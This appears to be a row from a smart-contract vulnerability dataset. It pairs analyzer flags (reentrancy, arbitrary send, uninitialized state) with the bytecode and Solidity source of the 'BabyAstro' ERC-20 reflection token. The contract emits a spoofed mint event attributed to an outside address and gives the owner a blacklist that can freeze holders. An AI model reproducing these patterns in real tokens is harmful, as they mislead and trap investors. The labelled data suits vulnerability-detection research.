828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201b9f2a362bb82fc13bbd37c5fd18f704dc42a2246a2e1f12c47b8a65156e6b9664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,977 |
0x3ad780489a8cce3b8a0b12d0ee1dc4eef343373d
|
/**
*Submitted for verification at Etherscan.io on 2021-08-07
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyAstro is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyAstro | t.me/BabyAstro";
string private constant _symbol = "BAstro";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 7;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "1");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 7;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612edf565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a02565b61045e565b6040516101789190612ec4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613081565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b3565b61048d565b6040516101e09190612ec4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612925565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612925565b610783565b6040516102b19190613081565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612edf565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a02565b61098d565b60405161035b9190612ec4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3e565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad1565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612977565b61121b565b6040516104189190613081565b60405180910390f35b60606040518060400160405280601a81526020017f42616279417374726f207c20742e6d652f42616279417374726f000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b610556856040518060600160405280602881526020016137ba60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d93565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f42417374726f0000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc1565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613397565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e01565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc1565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613021565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473f